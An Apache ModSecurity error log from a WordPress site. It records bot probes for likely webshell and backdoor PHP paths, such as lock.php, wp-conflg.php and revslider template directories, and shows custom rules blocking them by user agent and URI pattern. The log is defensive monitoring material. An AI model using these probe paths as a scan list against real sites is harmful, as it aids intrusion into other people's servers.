[Fri Jan 09 20:22:35.524791 2026] [:error] [pid 14770:tid 14775] [client 85.203.21.201:34233] [client 85.203.21.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/class-ftp-sockets-more.php"] [unique_id "aWDzCx5QbaVZ-6newJY8awAAAgM"]
[Fri Jan 09 20:22:35.879962 2026] [:error] [pid 30021:tid 30088] [client 85.203.21.223:49241] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/options-privacy-pic.php"] [unique_id "aWDzCw_M8aRtsTog5J-fKgAAAMc"]
[Fri Jan 09 20:22:36.236952 2026] [:error] [pid 30020:tid 30063] [client 85.203.21.54:63579] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/post-template-soap.php"] [unique_id "aWDzDMrjc66qOisG6L3YvAAAAIk"]
[Fri Jan 09 20:22:36.593378 2026] [:error] [pid 14739:tid 14751] [client 85.203.21.54:20981] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/wp-conflg.php"] [unique_id "aWDzDF63M6_PkLt_IJJotwAAAco"]
[Fri Jan 09 20:22:36.940687 2026] [:error] [pid 1366:tid 1379] [client 85.203.21.206:54805] [client 85.203.21.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/privacy-beta.php"] [unique_id "aWDzDBmasveKu8_ec1Vq4QAAAYo"]
[Fri Jan 09 20:22:37.296697 2026] [:error] [pid 14801:tid 14821] [client 85.203.21.238:43903] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/revslider/templates/particle-effect-three/"] [unique_id "aWDzDd8UWXrz_OQYgF1jywAAAlI"]
[Fri Jan 09 20:22:37.649494 2026] [:error] [pid 30021:tid 30092] [client 85.203.21.197:47229] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/revslider/templates/magazineposts/"] [unique_id "aWDzDQ_M8aRtsTog5J-fKwAAAMs"]
[Fri Jan 09 20:22:38.007335 2026] [:error] [pid 44848:tid 44873] [client 85.203.21.235:55125] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/revslider/templates/landing-page-hero/"] [unique_id "aWDzDqjajoTJAbEk87zKAQAAAFc"]
[Fri Jan 09 20:22:38.358307 2026] [:error] [pid 30020:tid 30068] [client 85.203.21.208:58649] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/revslider/templates/le-chef-la-carte/"] [unique_id "aWDzDsrjc66qOisG6L3YvwAAAI4"]
[Fri Jan 09 20:22:38.713489 2026] [:error] [pid 30020:tid 30055] [client 85.203.21.186:23683] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/flatco/assets/"] [unique_id "aWDzDsrjc66qOisG6L3YwAAAAIE"]
[Fri Jan 09 20:22:39.062368 2026] [:error] [pid 14872:tid 14884] [client 85.203.21.58:28429] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/flatco/framework/"] [unique_id "aWDzD6IUELhgYLNp1sY3wwAAAso"]
[Fri Jan 09 20:22:39.414361 2026] [:error] [pid 30021:tid 30095] [client 85.203.21.183:34103] [client 85.203.21.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/Avada/woocommerce/checkout/"] [unique_id "aWDzDw_M8aRtsTog5J-fLAAAAM4"]
[Fri Jan 09 20:22:39.765759 2026] [:error] [pid 14739:tid 14750] [client 85.203.21.228:38435] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/Avada/includes/recaptcha/src/ReCaptcha/"] [unique_id "aWDzD163M6_PkLt_IJJovQAAAck"]
[Fri Jan 09 20:22:40.116510 2026] [:error] [pid 30021:tid 30100] [client 85.203.21.208:50625] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/target/admin/"] [unique_id "aWDzEA_M8aRtsTog5J-fLgAAANM"]
[Fri Jan 09 20:22:40.472494 2026] [:error] [pid 30021:tid 30103] [client 85.203.21.164:62979] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/dt-the7/inc/extensions/options-framework/js/"] [unique_id "aWDzEA_M8aRtsTog5J-fLwAAANY"]
[Fri Jan 09 20:22:40.818127 2026] [:error] [pid 30020:tid 30066] [client 85.203.21.54:60585] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "aWDzEMrjc66qOisG6L3YxgAAAIw"]
[Fri Jan 09 20:22:41.195395 2026] [:error] [pid 14739:tid 14764] [client 85.203.21.228:45265] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hello-plus/classes/ehp-sarang.php"] [unique_id "aWDzEV63M6_PkLt_IJJovgAAAdc"]
[Fri Jan 09 20:22:41.546967 2026] [:error] [pid 14831:tid 14850] [client 85.203.21.172:50105] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/file1.php"] [unique_id "aWDzEfaKOMCmJcAyBm05HQAAApE"]
[Fri Jan 09 20:22:41.895542 2026] [:error] [pid 14739:tid 14741] [client 85.203.21.238:45025] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/"] [unique_id "aWDzEV63M6_PkLt_IJJowQAAAcA"]
[Fri Jan 09 20:22:42.252056 2026] [:error] [pid 14872:tid 14897] [client 85.203.21.227:25623] [client 85.203.21.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-includes.php"] [unique_id "aWDzEqIUELhgYLNp1sY3xAAAAtc"]
[Fri Jan 09 20:22:42.608966 2026] [:error] [pid 14872:tid 14876] [client 85.203.21.178:24657] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/wp-rocket-config/wp-login.php"] [unique_id "aWDzEqIUELhgYLNp1sY3xQAAAsI"]
[Fri Jan 09 20:22:42.958289 2026] [:error] [pid 14831:tid 14846] [client 85.203.21.54:22311] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/moon.php"] [unique_id "aWDzEvaKOMCmJcAyBm05IAAAAo0"]
[Fri Jan 09 20:22:43.307240 2026] [:error] [pid 14831:tid 14857] [client 85.203.21.232:25207] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/cloud.php"] [unique_id "aWDzE_aKOMCmJcAyBm05IQAAApg"]
[Fri Jan 09 20:22:43.660776 2026] [:error] [pid 14801:tid 14827] [client 85.203.21.204:62739] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/termps.php"] [unique_id "aWDzE98UWXrz_OQYgF1jzQAAAlg"]
[Fri Jan 09 20:22:44.007426 2026] [:error] [pid 14831:tid 14853] [client 85.203.21.228:53761] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/404.php"] [unique_id "aWDzFPaKOMCmJcAyBm05IgAAApQ"]
[Fri Jan 09 20:22:44.359901 2026] [:error] [pid 1366:tid 1385] [client 85.203.21.193:53559] [client 85.203.21.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/social-links/atomlib.php"] [unique_id "aWDzFBmasveKu8_ec1Vq4wAAAZA"]
[Fri Jan 09 20:22:44.713841 2026] [:error] [pid 14872:tid 14880] [client 85.203.21.170:21919] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/man.php"] [unique_id "aWDzFKIUELhgYLNp1sY3xgAAAsY"]
[Fri Jan 09 20:22:45.071963 2026] [:error] [pid 30021:tid 30101] [client 85.203.21.213:55067] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/images/1.php"] [unique_id "aWDzFQ_M8aRtsTog5J-fNAAAANQ"]
[Fri Jan 09 20:22:45.421204 2026] [:error] [pid 30021:tid 30084] [client 85.203.21.190:65161] [client 85.203.21.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/cherry-plugin-master/includes/makeasmtp.php"] [unique_id "aWDzFQ_M8aRtsTog5J-fOQAAAMM"]
[Fri Jan 09 20:22:45.772041 2026] [:error] [pid 14872:tid 14887] [client 85.203.21.239:22951] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/src/Decode/HTML/sitemaps.php"] [unique_id "aWDzFaIUELhgYLNp1sY3yAAAAs0"]
[Fri Jan 09 20:22:46.124717 2026] [:error] [pid 14872:tid 14890] [client 85.203.21.192:54547] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/lock.php"] [unique_id "aWDzFqIUELhgYLNp1sY3yQAAAtA"]
[Fri Jan 09 20:22:46.475492 2026] [:error] [pid 14872:tid 14885] [client 85.203.21.213:26903] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/siara-corporate-business/template-parts/header/styles/lock.php"] [unique_id "aWDzFqIUELhgYLNp1sY3ywAAAss"]
[Fri Jan 09 20:22:46.827823 2026] [:error] [pid 44848:tid 44866] [client 85.203.21.235:64197] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/wtu_gagal.php"] [unique_id "aWDzFqjajoTJAbEk87zKBQAAAFA"]
[Fri Jan 09 20:22:47.176478 2026] [:error] [pid 44848:tid 44870] [client 85.203.21.238:24581] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pgaas/"] [unique_id "aWDzF6jajoTJAbEk87zKBgAAAFQ"]
[Fri Jan 09 20:22:47.573959 2026] [:error] [pid 30019:tid 30030] [client 85.203.21.195:52061] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/mtodm/"] [unique_id "aWDzF0z3igHGwX5f7IroJgAAAAY"]
[Fri Jan 09 20:22:47.928817 2026] [:error] [pid 14739:tid 14765] [client 85.203.21.52:44399] [client 85.203.21.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/elementor/modules/atomic-widgets/prop-types/transform/lock.php"] [unique_id "aWDzF163M6_PkLt_IJJoxAAAAdg"]
[Fri Jan 09 20:22:48.278166 2026] [:error] [pid 30021:tid 30099] [client 85.203.21.195:61471] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/elementor/modules/kit-elements-defaults/import-export-customization/lock.php"] [unique_id "aWDzGA_M8aRtsTog5J-fPQAAANI"]
[Fri Jan 09 20:22:48.633216 2026] [:error] [pid 30020:tid 30074] [client 85.203.21.206:39133] [client 85.203.21.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-maiI.php"] [unique_id "aWDzGMrjc66qOisG6L3YzAAAAJQ"]
[Fri Jan 09 20:22:48.995458 2026] [:error] [pid 14801:tid 14817] [client 85.203.21.232:30119] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/mer_gagal.php"] [unique_id "aWDzGN8UWXrz_OQYgF1jzwAAAk4"]
[Fri Jan 09 20:22:49.352748 2026] [:error] [pid 1366:tid 1378] [client 85.203.21.184:33579] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wophq/"] [unique_id "aWDzGRmasveKu8_ec1Vq5gAAAYk"]
[Fri Jan 09 20:22:49.706705 2026] [:error] [pid 14770:tid 14795] [client 85.203.21.239:64673] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wadd-wp-bookls.php"] [unique_id "aWDzGR5QbaVZ-6newJY8cQAAAhc"]
[Fri Jan 09 20:22:50.066922 2026] [:error] [pid 14872:tid 14895] [client 85.203.21.235:31355] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress-seo-extended/admin/views/admin.php"] [unique_id "aWDzGqIUELhgYLNp1sY3zQAAAtU"]
[Fri Jan 09 20:22:50.415758 2026] [:error] [pid 14739:tid 14760] [client 85.203.21.207:60657] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-walker-page-dropdown-first.php"] [unique_id "aWDzGl63M6_PkLt_IJJoxgAAAdM"]
[Fri Jan 09 20:22:50.765786 2026] [:error] [pid 44848:tid 44858] [client 85.203.21.197:47767] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-widget-tag-cloud-new.php"] [unique_id "aWDzGqjajoTJAbEk87zKCAAAAEg"]
[Fri Jan 09 20:22:51.118627 2026] [:error] [pid 14739:tid 14743] [client 193.37.32.2:37579] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/zer.php"] [unique_id "aWDzG163M6_PkLt_IJJoxwAAAcI"]
[Fri Jan 09 20:22:51.472415 2026] [:error] [pid 44848:tid 44872] [client 85.203.21.58:60895] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/autoload_classmap.php"] [unique_id "aWDzG6jajoTJAbEk87zKCQAAAFY"]
[Fri Jan 09 20:22:51.825359 2026] [:error] [pid 44848:tid 44863] [client 85.203.21.45:55047] [client 85.203.21.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/screen-event.php"] [unique_id "aWDzG6jajoTJAbEk87zKCwAAAE0"]
[Fri Jan 09 20:22:52.182171 2026] [:error] [pid 14872:tid 14886] [client 85.203.21.57:54575] [client 85.203.21.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/network/site-info-client.php"] [unique_id "aWDzHKIUELhgYLNp1sY3zgAAAsw"]
[Fri Jan 09 20:22:52.530770 2026] [:error] [pid 14801:tid 14815] [client 85.203.21.235:59489] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-mails.php"] [unique_id "aWDzHN8UWXrz_OQYgF1j0AAAAkw"]
[Fri Jan 09 20:22:52.886027 2026] [:error] [pid 44848:tid 44859] [client 85.203.21.178:41927] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aWDzHKjajoTJAbEk87zKDAAAAEk"]
[Fri Jan 09 20:22:53.235139 2026] [:error] [pid 44848:tid 44873] [client 85.203.21.186:57145] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/dofault.php"] [unique_id "aWDzHajajoTJAbEk87zKDgAAAFc"]
[Fri Jan 09 20:22:53.587125 2026] [:error] [pid 44848:tid 44857] [client 85.203.21.183:33149] [client 85.203.21.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/file-manager.php"] [unique_id "aWDzHajajoTJAbEk87zKDwAAAEc"]
[Fri Jan 09 20:22:53.943176 2026] [:error] [pid 30020:tid 30071] [client 85.203.21.156:43199] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/radio.php"] [unique_id "aWDzHcrjc66qOisG6L3Y0QAAAJE"]
